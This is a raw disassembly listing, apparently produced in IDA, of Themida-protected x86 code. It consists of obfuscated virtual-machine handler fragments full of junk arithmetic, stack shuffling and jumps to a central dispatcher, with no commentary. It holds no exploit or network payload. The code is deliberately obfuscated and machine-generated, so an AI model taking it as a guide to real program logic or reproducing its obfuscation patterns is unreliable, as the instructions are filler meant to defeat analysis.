shl ebp, 1
jmp loc_55A62F
; ---------------------------------------------------------------------------
loc_55BEC0: ; CODE XREF: Themida_:005575F2j
mov ecx, esp
push 443Ch
mov [esp], ebp
mov ebp, 4
sub ecx, 1E9C4A84h
add ecx, ebp
add ecx, 1E9C4A84h
mov ebp, [esp]
add esp, 4
add ecx, 4
push ecx
jmp loc_554B0B
; ---------------------------------------------------------------------------
loc_55BEEF: ; CODE XREF: Themida_:005546E5j
not edi
xchg eax, edi
shl eax, 8
jmp loc_55DA74
; ---------------------------------------------------------------------------
loc_55BEFA: ; CODE XREF: Themida_:0055C4D5j
mov eax, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
push eax
mov eax, 4
add edi, 101C3866h
add edi, eax
jmp loc_552893
; ---------------------------------------------------------------------------
loc_55BF18: ; CODE XREF: Themida_:00558405j
push edx
mov edx, esp
push ebx
mov ebx, 71DF296Eh
jmp loc_55AEE3
; ---------------------------------------------------------------------------
loc_55BF26: ; CODE XREF: Themida_:0055CE93j
neg eax
shl eax, 4
xor eax, 0FBFDF3BCh
mov edx, eax
pop eax
push ebp
mov ebp, 2E8F5A12h
shr ebp, 8
shl ebp, 5
neg ebp
shl ebp, 4
jmp loc_55B9DC
; ---------------------------------------------------------------------------
loc_55BF49: ; CODE XREF: Themida_:0055DC39j
push ecx
push ebx
push 68E0629Fh
pop ebx
sub ebx, 4B0A3559h
mov ecx, ebx
pop ebx
and esi, ecx
mov ecx, [esp]
add esp, 4
and esi, 4D0122D5h
xor esi, 8002001h
sub esp, 4
mov [esp], esi
jmp loc_559A8A
; ---------------------------------------------------------------------------
loc_55BF7C: ; CODE XREF: Themida_:0055CF5Dj
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], ebx
push 2296h
mov [esp], esi
mov esi, 54B56996h
sub esp, 4
mov [esp], edi
jmp loc_559F7A
; ---------------------------------------------------------------------------
loc_55BFA1: ; CODE XREF: Themida_:0055C16Ej
push eax
mov al, 0C5h
mov ch, al
jmp loc_556E14
; ---------------------------------------------------------------------------
loc_55BFAB: ; CODE XREF: Themida_:00559F3Cj
add eax, esi
jmp loc_551955
; ---------------------------------------------------------------------------
loc_55BFB2: ; CODE XREF: Themida_:0055B98Ej
pop esp
sub esp, 4
jmp loc_55DB5C
; ---------------------------------------------------------------------------
loc_55BFBB: ; CODE XREF: Themida_:005552D3j
push edx
push 4586h
jmp loc_55CC45
; ---------------------------------------------------------------------------
loc_55BFC6: ; CODE XREF: Themida_:00551893j
push esi
jmp loc_55DBA4
; ---------------------------------------------------------------------------
loc_55BFCC: ; CODE XREF: Themida_:0055C38Bj
push ebp
mov ebp, edx
jmp loc_556FBC
; ---------------------------------------------------------------------------
loc_55BFD4: ; CODE XREF: Themida_:00554013j
push small 6ECEh
mov [esp], dx
push ax
pushf
jmp loc_555485
; ---------------------------------------------------------------------------
loc_55BFE4: ; CODE XREF: Themida_:0055C26Fj
push ebx
mov ebx, 5AF817DAh
mov eax, 7A3523BBh
xor eax, ebx
pop ebx
shl eax, 3
jmp loc_55303D
; ---------------------------------------------------------------------------
loc_55BFFA: ; CODE XREF: Themida_:00552B22j
xchg eax, [esp]
pop esp
add esi, 5ACA280Bh
add esi, edi
sub esi, 5ACA280Bh
pop edi
xchg esi, [esp]
mov esp, [esp]
jmp loc_5569A1
; ---------------------------------------------------------------------------
loc_55C018: ; CODE XREF: Themida_:00552358j
xchg esi, [esp]
jmp loc_553DFF
; ---------------------------------------------------------------------------
loc_55C020: ; CODE XREF: Themida_:00551A96j
add eax, esi
add eax, 107A366Fh
pop esi
push small word ptr [eax]
jmp loc_558CBE
; ---------------------------------------------------------------------------
loc_55C030: ; CODE XREF: Themida_:0055A8CFj
add esi, edx
pop edx
jmp loc_55CB74
; ---------------------------------------------------------------------------
loc_55C038: ; CODE XREF: Themida_:00553DDAj
mov esi, 4
add eax, esi
jmp loc_55D26B
; ---------------------------------------------------------------------------
loc_55C044: ; CODE XREF: Themida_:005595E8j
add edx, eax
sub edx, 1AE0657Ah
jmp loc_554534
; ---------------------------------------------------------------------------
loc_55C051: ; CODE XREF: Themida_:0055501Ej
add ebx, ebp
pop ebp
pop edx
jmp loc_55211F
; ---------------------------------------------------------------------------
loc_55C05A: ; CODE XREF: Themida_:00558F43j
mov ebp, 6F63481Bh
add edi, ebp
pop ebp
add edi, 8C9450E9h
sub ebp, 43E61C42h
add ebp, edi
add ebp, 43E61C42h
pop edi
add ebp, 2
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_5531AC
; ---------------------------------------------------------------------------
loc_55C090: ; CODE XREF: Themida_:005554D0j
mov ebx, edi
jmp loc_553ACB
; ---------------------------------------------------------------------------
loc_55C097: ; CODE XREF: Themida_:005522DBj
not esi
xchg esi, ecx
jmp loc_553032
; ---------------------------------------------------------------------------
loc_55C0A0: ; CODE XREF: Themida_:00553B2Dj
push ebx
mov bx, 70FDh
not bx
add bx, 2E0Eh
xor bx, 0FD79h
push esi
mov si, bx
mov cx, si
pop esi
pop ebx
jmp loc_55CA45
; ---------------------------------------------------------------------------
loc_55C0C0: ; CODE XREF: Themida_:005538D4j
push ebx
xor dword ptr [esp], 356E2334h
jmp loc_55A03C
; ---------------------------------------------------------------------------
loc_55C0CD: ; CODE XREF: Themida_:00553C39j
xor ecx, [esp]
pop esp
movsx ecx, ax
jmp loc_55693A
; ---------------------------------------------------------------------------
loc_55C0D9: ; CODE XREF: Themida_:00553EDDj
add eax, 61633084h
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
mov ebx, [esp]
add esp, 4
push 10Bh
mov [esp], ebp
push edi
mov edi, 1CEE6B9Ah
push ebx
jmp loc_552618
; ---------------------------------------------------------------------------
loc_55C0FF: ; CODE XREF: Themida_:0055BB4Ej
not edi
xor edi, 8BA9853Bh
mov ebp, edi
jmp loc_553815
; ---------------------------------------------------------------------------
loc_55C10E: ; CODE XREF: Themida_:005597E6j
pop edx
jmp loc_55DCB7
; ---------------------------------------------------------------------------
loc_55C114: ; CODE XREF: Themida_:0055D325j
mov esp, [esp]
mov [esp], cx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C120: ; CODE XREF: Themida_:0055504Dj
add dword ptr [esp], 4
jmp loc_5519B4
; ---------------------------------------------------------------------------
loc_55C129: ; CODE XREF: Themida_:0055538Dj
add al, 0D1h
push ebx
mov bh, 4
sub bh, 0C3h
sub al, bh
pop ebx
add al, 0C0h
jmp loc_555911
; ---------------------------------------------------------------------------
loc_55C13B: ; CODE XREF: Themida_:00559DFCj
mov edi, 4
add ecx, edi
jmp loc_558713
; ---------------------------------------------------------------------------
loc_55C147: ; CODE XREF: Themida_:00553FD8j
xchg ebp, [esp]
pop esp
mov [esp], esi
push ecx
mov ecx, 38597804h
jmp loc_552757
; ---------------------------------------------------------------------------
lodsb
jmp loc_55286B
; ---------------------------------------------------------------------------
loc_55C15F: ; CODE XREF: Themida_:00558AB9j
add ecx, 4
xchg ecx, [esp]
jmp loc_5562EE
; ---------------------------------------------------------------------------
loc_55C16D: ; CODE XREF: Themida_:00556AFBj
push ecx
jmp loc_55BFA1
; ---------------------------------------------------------------------------
loc_55C173: ; CODE XREF: Themida_:00552E69j
ror dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C17C: ; CODE XREF: Themida_:00558F56j
sub esi, 0CFF21854h
jmp loc_559EF7
; ---------------------------------------------------------------------------
loc_55C187: ; CODE XREF: Themida_:00555424j
push ebx
mov ebx, 1E68581Ah
add edx, 2A1854CDh
sub edx, ebx
sub edx, 2A1854CDh
pop ebx
push 0F0Eh
jmp loc_558BCD
; ---------------------------------------------------------------------------
loc_55C1A6: ; CODE XREF: Themida_:00556AC8j
sub eax, 170D73EBh
sub eax, 3525674Fh
jmp loc_556F35
; ---------------------------------------------------------------------------
loc_55C1B5: ; CODE XREF: Themida_:00552ACEj
mov edx, 2536105Ah
shr edx, 6
push eax
mov eax, 0C9B09081h
sub edx, eax
pop eax
xor ebx, edx
pop edx
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebp
push edx
jmp loc_55D2BD
; ---------------------------------------------------------------------------
loc_55C1DB: ; CODE XREF: Themida_:0055ABE9j
add edx, 4
jmp loc_556EFA
; ---------------------------------------------------------------------------
loc_55C1E6: ; CODE XREF: Themida_:00557D9Dj
mov dx, [esp]
push edx
jmp loc_555863
; ---------------------------------------------------------------------------
loc_55C1F0: ; CODE XREF: Themida_:005518E6j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C1F5: ; CODE XREF: Themida_:0055A820j
pop esp
mov [esp], edx
jmp loc_55A92F
; ---------------------------------------------------------------------------
loc_55C1FE: ; CODE XREF: Themida_:00553755j
and eax, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55BB31
; ---------------------------------------------------------------------------
loc_55C214: ; CODE XREF: Themida_:0055C477j
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop ebx
push edi
jmp loc_556B98
; ---------------------------------------------------------------------------
loc_55C235: ; CODE XREF: Themida_:0055D25Cj
push 5049h
mov [esp], esi
jmp loc_559CD9
; ---------------------------------------------------------------------------
loc_55C242: ; CODE XREF: Themida_:0055A115j
xchg ebp, [esp]
pop esp
mov [esp], ax
jmp loc_55C420
; ---------------------------------------------------------------------------
loc_55C24F: ; CODE XREF: Themida_:005597D9j
mov ebp, 71FE1BA9h
jmp loc_5542F9
; ---------------------------------------------------------------------------
loc_55C259: ; CODE XREF: Themida_:00557312j
sub esp, 4
mov [esp], ecx
mov cl, 54h
add cl, 60h
shr cl, 7
jmp loc_5569B0
; ---------------------------------------------------------------------------
loc_55C26C: ; CODE XREF: Themida_:0055B7EDj
mov [esp], eax
jmp loc_55BFE4
; ---------------------------------------------------------------------------
loc_55C274: ; CODE XREF: Themida_:00554901j
xor dl, 0B7h
add bl, dl
jmp loc_55C847
; ---------------------------------------------------------------------------
loc_55C27E: ; CODE XREF: Themida_:0055D6E1j
add eax, 685B56F7h
pop esi
mov ebx, [esp]
add esp, 4
push ebp
push edx
jmp loc_55D779
; ---------------------------------------------------------------------------
loc_55C291: ; CODE XREF: Themida_:0055CD12j
push 4AEF449Ah
push dword ptr [esp]
pop ecx
jmp loc_55CF3D
; ---------------------------------------------------------------------------
loc_55C29F: ; CODE XREF: Themida_:00554352j
add edx, edi
jmp loc_55D5DA
; ---------------------------------------------------------------------------
loc_55C2A6: ; CODE XREF: Themida_:0055D774j
mov dl, ah
pop eax
push cx
mov ch, 74h
sub al, ch
pop cx
sub al, dl
push ecx
push ebx
mov bh, 61h
not bh
shr bh, 1
jmp loc_557D92
; ---------------------------------------------------------------------------
loc_55C2C0: ; CODE XREF: Themida_:005526A9j
push 64782790h
pop edi
add edi, 0D06742A7h
mov ebp, edi
pop edi
push 2AEBh
mov [esp], edi
mov edi, 1BE96E2Ah
add ebp, edi
jmp loc_558957
; ---------------------------------------------------------------------------
loc_55C2E3: ; CODE XREF: Themida_:00559C83j
add esp, 4
add esp, 4
add esp, 4
push 2C27h
jmp loc_55B5EF
; ---------------------------------------------------------------------------
loc_55C2FC: ; CODE XREF: Themida_:00556CACj
push esp
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 34AB2734h
shl ebx, 3
xor ebx, 0A55939A4h
add esi, ebx
pop ebx
push edx
jmp loc_5520B6
; ---------------------------------------------------------------------------
loc_55C31E: ; CODE XREF: Themida_:00556F50j
add esi, eax
pop eax
push eax
jmp loc_559F20
; ---------------------------------------------------------------------------
loc_55C327: ; CODE XREF: Themida_:0055DAACj
push ebp
mov ebp, 11277F36h
dec ebp
add ebp, 1A7DA8E1h
or eax, ebp
mov ebp, [esp]
add esp, 4
xor eax, 636F6278h
push eax
jmp loc_5586C8
; ---------------------------------------------------------------------------
loc_55C34A: ; CODE XREF: Themida_:005568ABj
push ecx
jmp loc_55D234
; ---------------------------------------------------------------------------
loc_55C350: ; CODE XREF: Themida_:00552FD6j
xor [esp], esi
jmp loc_556FEB
; ---------------------------------------------------------------------------
loc_55C358: ; CODE XREF: Themida_:0055933Aj
inc edi
push ecx
push eax
push 0FE00E26h
pop eax
xor eax, 2CA6471h
jmp loc_55330E
; ---------------------------------------------------------------------------
loc_55C36B: ; CODE XREF: Themida_:0055913Ej
movsx ecx, al
push ebx
push esp
pop ebx
add ebx, 4
push ecx
push edi
mov edi, 7F8F2609h
or edi, 6A84568Bh
push edx
jmp loc_55D94E
; ---------------------------------------------------------------------------
loc_55C38A: ; CODE XREF: Themida_:0055C7CFj
pop edi
jmp loc_55BFCC
; ---------------------------------------------------------------------------
loc_55C390: ; CODE XREF: Themida_:00553508j
mov [esp], ecx
jmp loc_5568B0
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 376405E1h
add edi, 55D2347Fh
jmp loc_553387
; ---------------------------------------------------------------------------
loc_55C3AA: ; CODE XREF: Themida_:005592F2j
shl cl, 1
push ax
jmp loc_55B6CE
; ---------------------------------------------------------------------------
loc_55C3B3: ; CODE XREF: Themida_:0055D0E3j
pop ebp
sub ebx, edi
pop edi
xor edx, eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C3BE: ; CODE XREF: Themida_:00555B8Aj
mov bh, cl
pop ecx
xor cl, bh
pop bx
jmp loc_5547DD
; ---------------------------------------------------------------------------
loc_55C3CA: ; CODE XREF: Themida_:0055A1EBj
not ebx
push eax
sub esp, 4
jmp loc_55B8F4
; ---------------------------------------------------------------------------
lodsb
jmp loc_55D93D
; ---------------------------------------------------------------------------
loc_55C3DE: ; CODE XREF: Themida_:00554687j
add ebp, edx
pop edx
jmp loc_553C56
; ---------------------------------------------------------------------------
loc_55C3E6: ; CODE XREF: Themida_:00554647j
pop esi
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
jmp loc_5591F3
; ---------------------------------------------------------------------------
loc_55C3F3: ; CODE XREF: Themida_:0055BA0Fj
xor edx, ebp
pop ebp
jmp loc_5585A3
; ---------------------------------------------------------------------------
loc_55C3FB: ; CODE XREF: Themida_:00551B50j
push edi
push esp
jmp loc_55C768
; ---------------------------------------------------------------------------
loc_55C402: ; CODE XREF: Themida_:005542BCj
sub ch, al
mov ax, [esp]
jmp loc_558BC5
; ---------------------------------------------------------------------------
loc_55C40D: ; CODE XREF: Themida_:00554FAEj
add al, dh
pop edx
push cx
sub esp, 4
mov [esp], eax
jmp loc_55BA42
; ---------------------------------------------------------------------------
loc_55C420: ; CODE XREF: Themida_:0055C24Aj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C425: ; CODE XREF: Themida_:0055AC42j
sub ebx, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push 2BDBh
mov [esp], esi
mov esi, 7B7D0DFBh
sub ebx, esi
jmp loc_55842D
; ---------------------------------------------------------------------------
push ecx
jmp loc_55D4D7
; ---------------------------------------------------------------------------
loc_55C453: ; CODE XREF: Themida_:00552168j
dec ebx
and ebx, 2EBD2A47h
and ebx, 4DD0553Bh
add ebx, 0F3800001h
add edx, ebx
pop ebx
xchg edx, [esp]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
jmp loc_55C214
; ---------------------------------------------------------------------------
loc_55C47C: ; CODE XREF: Themida_:00553424j
sub dh, 37h
jmp loc_5586AA
; ---------------------------------------------------------------------------
loc_55C484: ; CODE XREF: Themida_:00559CFEj
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, ebx
push dword ptr [esp]
pop ebx
jmp loc_559B7C
; ---------------------------------------------------------------------------
loc_55C49A: ; CODE XREF: Themida_:005599CBj
push eax
xor dword ptr [esp], 4E406974h
pop ecx
jmp loc_55A353
; ---------------------------------------------------------------------------
loc_55C4A8: ; CODE XREF: Themida_:0055962Aj
sub ecx, ebp
sub ecx, 45110114h
jmp loc_55242B
; ---------------------------------------------------------------------------
loc_55C4B5: ; CODE XREF: Themida_:0055786Aj
pop eax
xchg esi, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55D7E7
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
jmp loc_55BEFA
; ---------------------------------------------------------------------------
loc_55C4DA: ; CODE XREF: Themida_:00555EFBj
sub ecx, ebx
pop ebx
sub ebx, ecx
jmp loc_55B79B
; ---------------------------------------------------------------------------
loc_55C4E4: ; CODE XREF: Themida_:005546A9j
sub ebx, eax
pop eax
jmp loc_556027
; ---------------------------------------------------------------------------
loc_55C4EC: ; CODE XREF: Themida_:0055511Aj
pop ecx
jmp loc_55B153
; ---------------------------------------------------------------------------
loc_55C4F2: ; CODE XREF: Themida_:00553488j
add esp, 4
shr ecx, 0Bh
jmp loc_5598D4
; ---------------------------------------------------------------------------
loc_55C500: ; CODE XREF: Themida_:00556622j
mov [esp], eax
jmp loc_55D03D
; ---------------------------------------------------------------------------
loc_55C508: ; CODE XREF: Themida_:00553BD3j
pop edi
jmp loc_55D1DF
; ---------------------------------------------------------------------------
loc_55C50E: ; CODE XREF: Themida_:0055DD66j
push edx
mov edx, 0D9529CDh
neg edx
dec edx
push ebp
mov ebp, 535F68BCh
add ebp, 0BAD2DD68h
xor edx, ebp
pop ebp
xor edx, 3F924D0h
sub edx, 0FFA1B4C2h
add eax, edx
pop edx
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
jmp loc_55A4EB
; ---------------------------------------------------------------------------
loc_55C543: ; CODE XREF: Themida_:005558B2j
push dx
push eax
mov ah, 10h
mov dh, 0FDh
jmp loc_55786F
; ---------------------------------------------------------------------------
loc_55C54F: ; CODE XREF: Themida_:00554CDEj
mov esi, [esp]
add esp, 4
add ecx, 2
push 2D94h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_559117
; ---------------------------------------------------------------------------
loc_55C56D: ; CODE XREF: Themida_:0055AE2Cj
mov [esp], ebx
sub esp, 4
mov [esp], edx
jmp loc_551A9B
; ---------------------------------------------------------------------------
loc_55C57B: ; CODE XREF: Themida_:0055279Ej
push dword ptr [esp]
mov ecx, [esp]
jmp loc_551D39
; ---------------------------------------------------------------------------
loc_55C586: ; CODE XREF: Themida_:00552765j
push 4D8h
jmp loc_559CF3
; ---------------------------------------------------------------------------
loc_55C590: ; CODE XREF: Themida_:00556B13j
add ebp, 1E40BD4h
add ebp, esi
sub ebp, 1E40BD4h
jmp loc_55B1D8
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C5B3: ; CODE XREF: Themida_:00551BD0j
mov dl, 1Ch
sub cl, dl
pop edx
add al, 4Ah
jmp loc_559932
; ---------------------------------------------------------------------------
loc_55C5BF: ; CODE XREF: Themida_:005538A1j
mov ecx, [esp]
add esp, 4
shl ebx, 2
jmp loc_55577D
; ---------------------------------------------------------------------------
loc_55C5CD: ; CODE XREF: Themida_:00552752j
push esp
pop edi
add edi, 4
jmp loc_55B141
; ---------------------------------------------------------------------------
loc_55C5DA: ; CODE XREF: Themida_:005589EAj
xor edi, 2BCB241Dh
jmp loc_552388
; ---------------------------------------------------------------------------
loc_55C5E5: ; CODE XREF: Themida_:00552DFBj
mov edi, esp
jmp loc_552487
; ---------------------------------------------------------------------------
loc_55C5EC: ; CODE XREF: Themida_:005535F5j
pop eax
add ch, bl
add ch, 0FEh
mov ebx, [esp]
add esp, 4
sub esp, 2
jmp loc_55A105
; ---------------------------------------------------------------------------
loc_55C606: ; CODE XREF: Themida_:00557052j
push dword ptr [edx]
jmp loc_55D3A5
; ---------------------------------------------------------------------------
loc_55C60D: ; CODE XREF: Themida_:00554AF0j
push 17E95F4Fh
pop esi
add eax, esi
jmp loc_559ACE
; ---------------------------------------------------------------------------
loc_55C61A: ; CODE XREF: Themida_:00555C5Bj
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push ebp
push esp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 7B8A633Dh
add esi, 84759CC7h
add ebp, esi
pop esi
add ebp, 4
xchg ebp, [esp]
jmp loc_55C6A1
; ---------------------------------------------------------------------------
loc_55C64E: ; CODE XREF: Themida_:00556CF6j
add ebx, eax
pop eax
push 69B5h
jmp loc_55478B
; ---------------------------------------------------------------------------
loc_55C65B: ; CODE XREF: Themida_:0055D70Aj
or ecx, 0F8619EFh
sub ecx, 1EAC8EAEh
mov edx, ecx
pop ecx
jmp loc_555392
; ---------------------------------------------------------------------------
loc_55C66F: ; CODE XREF: Themida_:0055C993j
mov eax, [esp]
jmp loc_556206
; ---------------------------------------------------------------------------
loc_55C677: ; CODE XREF: Themida_:0055CC9Dj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
or eax, eax
jnz loc_55CD46
push 1
jmp loc_557E83
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_559CA5
; ---------------------------------------------------------------------------
loc_55C69B: ; CODE XREF: Themida_:00557072j
push edx
jmp loc_5597B9
; ---------------------------------------------------------------------------
loc_55C6A1: ; CODE XREF: Themida_:0055C649j
mov esp, [esp]
shr ecx, 7
push edx
sub esp, 4
mov [esp], edi
jmp loc_554E41
; ---------------------------------------------------------------------------
loc_55C6B3: ; CODE XREF: Themida_:0055B3DBj
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_556BFA
; ---------------------------------------------------------------------------
loc_55C6C4: ; CODE XREF: Themida_:00558A5Bj
add eax, ebx
sub eax, 589D6708h
mov ebx, [esp]
add esp, 4
push ecx
mov ecx, 48B75A99h
jmp loc_5582BF
; ---------------------------------------------------------------------------
loc_55C6DF: ; CODE XREF: Themida_:0055740Cj
push ebx
mov ecx, [esp]
add esp, 4
push ebx
push ecx
pop ebx
push ebx
sub dword ptr [esp], 7F882A59h
jmp loc_55D7D0
; ---------------------------------------------------------------------------
loc_55C6F6: ; CODE XREF: Themida_:0055969Dj
push edx
mov edx, 7F26248Fh
mov eax, edx
jmp loc_557879
; ---------------------------------------------------------------------------
loc_55C703: ; CODE XREF: Themida_:0055790Bj
or ecx, ecx
jz loc_554BBC
push esp
jmp loc_55AA1F
; ---------------------------------------------------------------------------
loc_55C711: ; CODE XREF: Themida_:0055247Dj
pop ebp
mov esi, [esp]
push ebp
mov ebp, esp
jmp loc_5546BA
; ---------------------------------------------------------------------------
loc_55C71D: ; CODE XREF: Themida_:00559A19j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C722: ; CODE XREF: Themida_:00554F60j
mov edi, 4EE856FFh
jmp loc_55D04C
; ---------------------------------------------------------------------------
loc_55C72C: ; CODE XREF: Themida_:005533A4j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_55413F
; ---------------------------------------------------------------------------
loc_55C739: ; CODE XREF: Themida_:0055DB33j
mov edi, ebx
pop ebx
shr edi, 8
push ebp
mov ebp, 45F5F2A4h
add edi, ebp
mov ebp, [esp]
add esp, 4
add eax, edi
pop edi
add eax, 16031CDDh
sub eax, edi
sub eax, 16031CDDh
jmp loc_55B66D
; ---------------------------------------------------------------------------
loc_55C761: ; CODE XREF: Themida_:00558BE3j
mov esi, esp
jmp loc_558885
; ---------------------------------------------------------------------------
loc_55C768: ; CODE XREF: Themida_:0055C3FDj
pop edi
sub esp, 4
mov [esp], ebx
mov ebx, 36BE6518h
push esi
push ebp
mov ebp, 40AD65A5h
mov esi, ebp
pop ebp
and esi, 5B0538BBh
xor esi, 27977FFAh
xor esi, 512C3A4Fh
sub ebx, esi
pop esi
add edi, ebx
mov ebx, [esp]
add esp, 4
push edx
mov edx, 6A1F39C2h
shl edx, 2
xor edx, 0A87CE70Ah
add edi, 45487A98h
add edi, edx
sub edi, 45487A98h
pop edx
xchg edi, [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C7CB: ; CODE XREF: Themida_:00553873j
mov edi, ebp
mov edx, edi
jmp loc_55C38A
; ---------------------------------------------------------------------------
loc_55C7D4: ; CODE XREF: Themida_:00558290j
mov [esp], ebp
jmp loc_554CE3
; ---------------------------------------------------------------------------
loc_55C7DC: ; CODE XREF: Themida_:0055D22Fj
mov ebx, [esp]
add esp, 4
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_557814
; ---------------------------------------------------------------------------
loc_55C7EF: ; CODE XREF: Themida_:00552656j
mov ebx, edx
pop edx
add edx, ebx
pop ebx
push edi
mov edi, 44260D92h
push ebx
mov ebx, 11B3761Ah
xor edi, ebx
jmp loc_558BE8
; ---------------------------------------------------------------------------
loc_55C808: ; CODE XREF: Themida_:0055827Bj
dec si
shr si, 4
sub si, 0F77h
or si, 2EF6h
neg si
push ax
mov ax, 51C8h
or ax, 503Ch
push edi
mov di, 10B7h
or di, 5D02h
jmp loc_553BF1
; ---------------------------------------------------------------------------
loc_55C834: ; CODE XREF: Themida_:00555993j
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp]
jmp loc_55CB5C
; ---------------------------------------------------------------------------
loc_55C847: ; CODE XREF: Themida_:0055C279j
pop edx
pop eax
add bl, al
push esi
mov esi, esp
add esi, 4
sub esi, 2
xchg esi, [esp]
pop esp
mov [esp], ax
mov ah, 0EAh
add bl, ah
pop ax
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C870: ; CODE XREF: Themida_:00557E7Ej
xor [esp], esi
xor esi, [esp]
pop esp
push ecx
push esp
pop ecx
jmp loc_552C77
; ---------------------------------------------------------------------------
loc_55C87F: ; CODE XREF: Themida_:0055715Ej
pop ebx
jmp loc_558D74
; ---------------------------------------------------------------------------
loc_55C885: ; CODE XREF: Themida_:0055D1BEj
push esi
mov esi, 243C2EB7h
jmp loc_55D478
; ---------------------------------------------------------------------------
loc_55C890: ; CODE XREF: Themida_:00551C37j
sub esp, 4
mov [esp], ecx
mov ch, bl
push edx
mov dh, ch
mov [edi+eax*4+1], dh
pop edx
mov ecx, [esp]
jmp loc_552ED5
; ---------------------------------------------------------------------------
loc_55C8AB: ; CODE XREF: Themida_:005519A7j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55C8B0: ; CODE XREF: Themida_:00551E7Aj
not ch
xor ch, 0C1h
sub al, 0F0h
jmp loc_55B2C7
; ---------------------------------------------------------------------------
loc_55C8BC: ; CODE XREF: Themida_:00556628j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
push esi
push 1439h
jmp loc_555E21
; ---------------------------------------------------------------------------
loc_55C8DA: ; CODE XREF: Themida_:00554B9Dj
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_5590A9
; ---------------------------------------------------------------------------
loc_55C8EC: ; CODE XREF: Themida_:0055B9D0j
mov ebp, 4
sub eax, ebp
jmp loc_552974
; ---------------------------------------------------------------------------
loc_55C8F8: ; CODE XREF: Themida_:0055A939j
sub ebp, 1
not ebp
sub ebp, 0AF0BB8B4h
mov edi, ebp
pop ebp
add edx, edi
jmp loc_55ABE3
; ---------------------------------------------------------------------------
lodsw
push di
jmp loc_552C19
; ---------------------------------------------------------------------------
loc_55C919: ; CODE XREF: Themida_:00551B2Dj
push ebx
mov bl, 0A3h
jmp loc_551C9C
; ---------------------------------------------------------------------------
loc_55C921: ; CODE XREF: Themida_:00554868j
add ebx, 37100906h
sub ebx, eax
push edi
sub esp, 4
mov [esp], ebp
push 74341128h
mov ebp, [esp]
push ebp
jmp loc_55CEFD
; ---------------------------------------------------------------------------
loc_55C93E: ; CODE XREF: Themida_:00552796j
shr ebx, 4
add ebx, 70356A48h
mov eax, ebx
jmp loc_553526
; ---------------------------------------------------------------------------
loc_55C94E: ; CODE XREF: Themida_:00558F12j
mov esp, [esp]
jmp loc_551913
; ---------------------------------------------------------------------------
loc_55C956: ; CODE XREF: Themida_:00552088j
shl edi, 6
jmp loc_55BD39
; ---------------------------------------------------------------------------
loc_55C95E: ; CODE XREF: Themida_:00553C51j
add al, 5Ah
sub al, 0
push 7910h
jmp loc_55B0E2
; ---------------------------------------------------------------------------
loc_55C96C: ; CODE XREF: Themida_:00555E72j
push ebx
mov ebx, 1A0403DFh
jmp loc_55D017
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 46D440BCh
sub [esp+4], ecx
pop ecx
pop eax
jmp loc_552AFA
; ---------------------------------------------------------------------------
loc_55C991: ; CODE XREF: Themida_:0055B456j
add bh, ah
jmp loc_55C66F
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
jmp loc_553800
; ---------------------------------------------------------------------------
loc_55C9A2: ; CODE XREF: Themida_:00552AD9j
dec edi
dec edi
xor edi, 4026082Ah
add edx, edi
mov edi, [esp]
jmp loc_554DE3
; ---------------------------------------------------------------------------
loc_55C9B4: ; CODE XREF: Themida_:00554100j
pop esp
add ebp, 4
push edi
mov edi, 4
add ebp, 189D409Eh
sub ebp, edi
sub ebp, 189D409Eh
pop edi
jmp loc_55A40C
; ---------------------------------------------------------------------------
loc_55C9D5: ; CODE XREF: Themida_:0055CDC6j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5569D5
; ---------------------------------------------------------------------------
loc_55C9EC: ; CODE XREF: Themida_:0055AC72j
pop dword ptr [esp]
pop esp
ror word ptr [esp], cl
pushf
jmp loc_55648E
; ---------------------------------------------------------------------------
loc_55C9FA: ; CODE XREF: Themida_:005573BFj
inc esi
sub esi, 2B83CCB4h
sub edx, esi
pop esi
jmp loc_55ADB5
